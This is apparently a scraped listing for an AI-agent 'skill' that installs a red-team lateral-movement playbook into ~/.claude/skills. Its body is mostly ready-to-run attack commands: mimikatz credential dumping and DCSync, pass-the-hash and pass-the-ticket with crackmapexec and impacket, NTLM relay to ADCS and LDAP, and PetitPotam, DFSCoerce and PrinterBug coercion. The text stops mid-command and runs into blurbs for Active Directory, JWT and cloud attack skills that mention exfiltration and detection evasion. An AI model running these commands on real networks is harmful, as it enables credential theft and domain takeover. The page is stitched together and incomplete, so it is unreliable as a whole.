offensive-lateral-movement
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypass, and detection evasion. Maps to MITRE ATT&CK T1021 (Remote Services), T1550 (Use Alternate Authentication Material), and sub-techniques. Includes defender-perspective detection guidance for blue team awareness and a rapid engagement cheatsheet for common lateral movement scenarios encountered during internal penetration tests and assumed-breach exercises.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-lateral-movement && cp -r /tmp/offensive-lateral-movement/Skills/post-exploitation/offensive-lateral-movement ~/.claude/skills/offensive-lateral-movementSKILL.md
# Offensive Lateral Movement Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host. This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only. ## Quick Workflow 1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135). 2. Harvest credentials from the current host (LSASS, SAM, cached creds). 3. Test credential reuse across discovered hosts with crackmapexec/netexec. 4. Select a movement technique based on available credentials and target services. 5. Establish persistence on the new host before moving further. 6. Set up tunneling if you need to reach segmented networks. 7. Document each pivot for your engagement report. --- ## Pass-the-Hash Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests. Extract hashes with mimikatz on the current host: ```powershell # Elevate to debug privilege and dump logon passwords privilege::debug sekurlsa::logonpasswords # Dump SAM hashes (requires SYSTEM) lsadump::sam # Dump domain hashes from ntds.dit (on a DC) lsadump::dcsync /domain:corp.local /all /csv ``` Use crackmapexec (or netexec) to spray the hash across the network: ```bash # Test a single hash against a subnet crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Execute a command on a target via PtH crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all" # netexec (modern fork) with same syntax nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares ``` Use impacket for shell access: ```bash # PtH with psexec impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50 # PtH with wmiexec (stealthier, no service creation) impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50 # PtH with evil-winrm evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH> ``` OPSEC note: PsExec creates a service on the target (event 7045). Prefer wmiexec or evil-winrm when possible. Crackmapexec with `--no-bruteforce` prevents lockouts when testing multiple users against multiple hashes. --- ## Pass-the-Ticket and Overpass-the-Hash Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone. Export tickets from memory with mimikatz: ```powershell # List all Kerberos tickets in memory sekurlsa::tickets /export # Inject a stolen TGT into the current session kerberos::ptt C:\tickets\admin_krbtgt.kirbi ``` Overpass-the-hash -- request a Kerberos TGT using an NTLM hash: ```powershell # Overpass-the-hash: create a new logon session with the hash sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe ``` From Linux using impacket: ```bash # Request a TGT with a hash (overpass-the-hash) impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator # Set the ticket in the environment export KRB5CCNAME=administrator.ccache # Use the ticket with psexec impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local ``` Request a service ticket for a specific SPN: ```bash # Get a TGS for CIFS service on a target impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator ``` OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal. --- ## NTLM Relay Attacks NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced. Check SMB signing across the network: ```bash # Identify hosts without SMB signing required crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt # Alternative with nmap nmap --script smb2-security-mode -p 445 10.10.10.0/24 ``` Set up ntlmrelayx to relay captured authentication: ```bash # Relay to targets without SMB signing, dump SAM impacket-ntlmrelayx -tf relay_targets.txt -smb2support # Relay and execute a command impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt" # Relay to LDAP for delegation abuse or shadow credentials impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$ # Relay to ADCS web enrollment for certificate theft impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController ``` Coerce authentication with PetitPotam (MS-EFSR abuse): ```bash # Unauthenticated coercion (patched but often still works) python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP> # Authenticated coercion python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP> ``` Coerce with DFSCoerce (MS-DFSNM): ```bash python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP> ``` Coerce with PrinterBug (MS-RPRN): ```bash python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP> ``` Set up Responder for poisoning and capture: ```bash # Poison LLMNR/NBT-NS and capture hashes responder -I eth0 -w
Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.